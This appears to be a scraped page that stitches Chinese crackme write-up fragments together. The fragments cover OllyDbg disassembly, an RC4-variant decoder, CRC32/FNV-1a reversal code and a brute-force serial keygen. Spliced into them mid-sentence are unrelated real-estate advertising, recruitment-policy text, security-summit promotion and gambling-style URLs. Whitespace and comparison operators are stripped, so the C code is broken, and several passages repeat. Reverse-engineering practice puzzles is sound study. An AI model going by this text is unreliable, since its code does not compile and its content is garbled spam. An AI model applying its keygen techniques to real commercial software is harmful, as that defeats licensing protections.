40220E85C0TESTEAX,,EAX004022165BPOPEBX004022178B8C249C020000MOVECX,DWORDPTRSS:[ESP+0x29C]0040221E33CCXORECX,,0x2A00040222BC3RETN0040222C55PUSHEBP0040222D6AF4PUSH-0xC第一个取第一个返回的字符004022358BF8MOVEDI,EAX第一个004022376AF5PUSH-0xB0040223956PUSHESI0040223A83F705XOREDI,0x5第一个返回的字符异或,EAX004022446AF6PUSH-0xA0040224656PUSHESI0040224783F312XOREBX,,EAX004022516AF7PUSH-0x90040225356PUSHESI0040225483F50AXOREBP,,0x290040225F6AF8PUSH-0x80040226156PUSHESI0040226289442458MOVDWORDPTRSS:[ESP+0x58],,0x420040226E6AF9PUSH-0x70040227056PUSHESI0040227189442448MOVDWORDPTRSS:[ESP+0x48],,0x410040227D6AFAPUSH-0x60040227F56PUSHESI0040228089442460MOVDWORDPTRSS:[ESP+0x60],,0x750040228C6AFBPUSH-0x50040228E56PUSHESI0040228F89442460MOVDWORDPTRSS:[ESP+0x60],,0x400040229B83F061XOREAX,0x610040229E6AFCPUSH-0x4004022A056PUSHESI004022A189442418MOVDWORDPTRSS:[ESP+0x18],,0x35004022AD6AFDPUSH-0x3004022AF56PUSHESI004022B089442424MOVDWORDPTRSS:[ESP+0x24],,0x83004022BE6AFEPUSH-0x2004022C056PUSHESI004022C189442434MOVDWORDPTRSS:[ESP+0x34],,0x55004022CD6AFFPUSH-0x1004022CF56PUSHESI004022D089442444MOVDWORDPTRSS:[ESP+0x44],,0x94004022DE6AF3PUSH-0xD004022E056PUSHESI004022E189442454MOVDWORDPTRSS:[ESP+0x54],,0x2C004022F383FF18CMPEDI,,,:[ESP+0x30],:[ESP+0x18],:[ESP+0x28],:[ESP+0x20],:[ESP+0x10],:[ESP+0x14],:[ESP+0x1C],:[ESP+0x24],:[ESP+0x2C],,DWORDPTRDS:[EDI-0x17],EAX0040234E8B8C24AC020000MOVECX,DWORDPTRSS:[ESP+0x2AC]004023555DPOPEBP004023565FPOPEDI004023575EPOPESI004023585BPOPEBX0040235933CCXORECX,,0x2A000402366C3RETN算法就这一段,c调用luajit。 ,突破口在于迭代异或预算的交换和合并性质以及chip代码的特征。还是比较给力,memset这些都失败出来了,的就不行。。,分类别引才,提出实施聚龙英才、聚龙名师、聚龙名医、聚龙巧匠、聚龙创才等系列引才工程,加大高端急需人才引进力度,对引进的杰出人才给予100万元工作经费和700万元奖励补贴,符合条件的并赠予250平方米左右人才住房,凸显高端人才引领带动作用。、www.vns8908.com、据调查,该路段属于市政道,长500米,位于远洋城天曜与御峰臻品小区之间,名为逸兴路,由两小区开发商各负责半边道路施工,待一起修好完善后再移交市政管理。 ,来源:第一财经日报关于买房,以及了解独家房产资讯及数据,建议您加入咚咚找房极速买房;说出您的需求,剩下的找房、价值分析、价格配比……都有专业人员帮您搞定,让您的买房路更顺畅。是一个变形的MD5算法。其实就是对输入分别与下面这一串异或,返回结果。预计将配建大型主题性商业综合体,填补请湖北片区的商业空白。壹成中心处于龙华老城核心居住圈,,此规模超过280万㎡的大冲华润城。、突破口在于迭代异或预算的交换和合并性质以及chip代码的特征。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。,return16;}//CRC32编码intgetTheKey2(unsignedchar*buf,intbufsize){DWORDret=-1;DWORD*bb=(DWORD*)aa;for(inti=0;ibufsize;i++){intxt=(ret0xff)^buf[i];ret=bb[1+xt]^(ret}return~ret;}unsignedcharbuf[4]={0};intget2(DWORDa){DWORDconfirm1=0x9e;//0x9eb3acb8==~0x614C5347DWORDconfirm2=0xb3;DWORDconfirm3=0xac;DWORDconfirm4=0xb8;DWORDtmp,x[4]={0};inti,y[4]={0};DWORD*bb=(DWORD*)aa;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm1){x[0]=bb[i];y[0]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm2=confirm2^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm2){x[1]=bb[i];y[1]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm3=confirm3^tmp;tmp=x[1]tmp=tmp0xff;confirm3=confirm3^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm3){x[2]=bb[i];y[2]=i;break;}}tmp=x[0];tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[1]tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[2]tmp=tmp0xff;confirm4=confirm4^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm4){x[3]=bb[i];y[3]=i;break;}}DWORDret=a;//0x32f38783;for(i=3;ii--){buf[3-i]=((ret0xff)^y[i]-1);ret=x[i]^(ret}return0;}//FNV-1aHash运算DWORDgetTheKey3(unsignedchar*buf,intbufsize){DWORDret=0x811C9DC5;for(inti=0;ibufsize;i++){DWORDxx=(DWORD)buf[i];ret=0x1000193*(ret^xx);}returnret;}intget3(DWORDa){unsignedchardd[4]={0x5C,0xA4,0x88,0xC9};DWORDret=a;inti,j;for(i=0;;i++)//614C5347-A19947FD-CE19CA2F-92F5E675-F4659CD7-0D33122D-F32BF53F-66263925-7BDE6D67-127F995D-CDAA8F4F-8379C0D5{for(j=0;jj++){DWORDxx=(DWORD)dd[j];ret=0x1000193*(ret^xx);//359C449B(1000193^-1)}if(ret==0x614C5347||ret==a)//0x614C5347{break;}}if(ret==0x614C5347){returni;}else{return-1;}}for(unsignedchari=0;i0xff;i++){bbuf[xs-1]=i;DWORDyy1=getTheKey2(bbuf,xs);get2(yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];//DWORDyy1=sub_1244(bbuf,xs);DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);if(udd!=-1){printf(%02X%08X,i,udd);}}bbuf[xs-1]=0x20;DWORDyy1=getTheKey2(bbuf,xs);get2(~yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);unsignedchar*memm=(unsignedchar*)malloc(udd*4+8+xs);memcpy(memm,bbuf,xs+4);for(inti=0;i=udd;i++){memm[xs+4+i*4+0]=0x5C;memm[xs+4+i*4+1]=0xA4;memm[xs+4+i*4+2]=0x88;memm[xs+4+i*4+3]=0xC9;}fp=fopen(zapus_,wb);fwrite(memm,udd*4+8+xs,1,fp);fclose(fp);上传的附件:教育配套:项目自带6班制幼儿园,毗邻约70年历史清湖小学(九年制学校),临近新华中学等,且周边规划有高中用地,教育配套较为齐全。重仓粤港澳大湾区的还有万科、龙光、佳兆业等房企。。

在消息响应函数Hi_ctrl_WM_COMMAND_handler_sub_403E80中通过调用Hi_update_sub_41C31A(True)更新编辑框内容到关联的控件成员变量中.text::00403EB4movecx,[ebp+var_118_thisPtr].text:00403EBAcallHi_update_sub_41C31A通过调用Hi_update_sub_41C31A中调用Hi_getEditText_sub_403B600041C361calldwordptr[eax+100h];Hi_getEditText_sub_403B60Hi_getEditText_sub_403B60如下,可见edit控件关联的字符串成员变量在偏移处.text:00403B63leaeax,[ecx+0C0h].text:00403B69pusheax;::00403B6Fpush[ebp+arg_0]:00403B72callHi_InP2DlgID_OutP3text_sub_416F7A下述代码将注册码通过Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30函数分成两部分粗放于两个元素的CStr数组中var_18_2Cstr。0x00,0x2D,0x42,0x4C,0x56,0x60,0x6A,0x74,0x05,0x0F,0x190x3B,0x00,0x4F,0x59,0x6E,0x78,0x09,0x13,0x1D,0x27,0x310x53,0x5D,0x00,0x71,0x02,0x0C,0x21,0x2B,0x35,0x3F,0x490x6B,0x75,0x06,0x00,0x1A,0x24,0x2E,0x38,0x4D,0x57,0x610x0A,0x14,0x1E,0x28,0x00,0x3C,0x46,0x50,0x5A,0x64,0x790x17,0x2C,0x36,0x40,0x4A,0x00,0x5E,0x68,0x72,0x03,0x0D0x2F,0x39,0x43,0x58,0x62,0x6C,0x00,0x07,0x11,0x1B,0x250x47,0x51,0x5B,0x65,0x6F,0x0B,0x15,0x00,0x29,0x33,0x3D0x5F,0x69,0x73,0x04,0x0E,0x18,0x22,0x37,0x00,0x4B,0x550x77,0x08,0x12,0x1C,0x26,0x30,0x3A,0x44,0x4E,0x00,0x6D0x16,0x20,0x2A,0x34,0x3E,0x48,0x52,0x5C,0x66,0x70,0x01,句柄表在EPROCESS结构体中,有一个句柄表成员:我们知道,句柄是为了操作内核对象的“序号”,它的好处在于统一了接口,使得进程(准确来说是线程)能够用统一的方式操作不同的对象资源。此外,据天曜小区多名业主反映,该路段道路不畅还存在巨大消防安全隐患,无法通行大型消防车辆,“如遇火灾,大型消防车开不进来必定拖延救火时间,严重威胁着远洋城天曜居民的生命财产安全”。。捕鱼技巧rc4变形intrc4(char*pSecret,intSecretLen,char*pOut){intia;unsignedchari=0,j=0,t;unsignedchars[256];unsignedchark[256];for(ia=0;ia=255;ia++,i++)s[ia]=i;for(ia=0;ia=255;ia++)k[ia]=((unsignedchar*)pSecret)[ia%SecretLen];for(ia=i=j=0;ia=255;ia++,i++){j=(j+s[i]+k[i])%256;t=s[i];s[i]=s[j];s[j]=t;}unsignedchardata[128]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};for(intl=0;l128;l++){data[l]^=s[l]+s[256-l-1];}//以下部分为验证阶段使用unsignedintres=0;for(intl=0;l128;l++){res+=data[l];}if(res==0x2979){printf(pSecret);getchar();}return0;}与岁月欣喜相迎,与家人共聚;在互动中品读生活的格调;龙光·玖钻带来的印象青花瓷DIY让众人徜徉在温暖快乐的时光中。Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198已有存量黏性数据和增量数据平台的企业,有先发优势,如果没有获取数据的平台,要考虑如何用好数据做垂直服务。,  其中,G13302-8024(坪山限售地)本次出让宗地应按规定配建人才住房15290平方米。  盛典之上,中泰集团以短短一段视频,诉尽中泰人这一年来经历的酸甜苦辣:https:///x/page/(中泰人:我们的故事)苦  苦,很苦。unsignedchardata[156]={0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x00,0x00,0x00};在CALL00403910这个函数中验证,长度位0x9c,方式位高低字节减0x30分别与表中的每个元素的高低字节比较:找到数字对应关系,多输入几次试验下就出来了:秉承着技术与干货的原则,看雪学院于2017年11月成功举办了第一届安全开发者峰会,议题涵盖了安全编程、软件安全测试、智能设备安全、物联网安全、漏洞挖掘、移动安全、WEB安全、密码学、逆向技术、加密与解密、系统安全等,吸引了业内顶尖的开发者和技术专家,旨在推动软件开发安全的深入交流与分享,为安全人员、软件开发者、广大互联网人士及行业相关人士提供最具价值的交流平台。心怀感恩,再上征程  一个企业的成功,是拥有一群甘愿一路追随,并能始终坚持奋斗,创造佳绩的员工。,www.wns610.com,rc4变形intrc4(char*pSecret,intSecretLen,char*pOut){intia;unsignedchari=0,j=0,t;unsignedchars[256];unsignedchark[256];for(ia=0;ia=255;ia++,i++)s[ia]=i;for(ia=0;ia=255;ia++)k[ia]=((unsignedchar*)pSecret)[ia%SecretLen];for(ia=i=j=0;ia=255;ia++,i++){j=(j+s[i]+k[i])%256;t=s[i];s[i]=s[j];s[j]=t;}unsignedchardata[128]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};for(intl=0;l128;l++){data[l]^=s[l]+s[256-l-1];}//以下部分为验证阶段使用unsignedintres=0;for(intl=0;l128;l++){res+=data[l];}if(res==0x2979){printf(pSecret);getchar();}return0;}会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535    不一young的运营理念华润万象汇助力布吉商业升级    启幕会上,深圳布吉华润万象汇总经理王磊,阐述了项目对于“城市新中产“、“城市新人类”这两类客群其物质及精神需求的理解。,这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.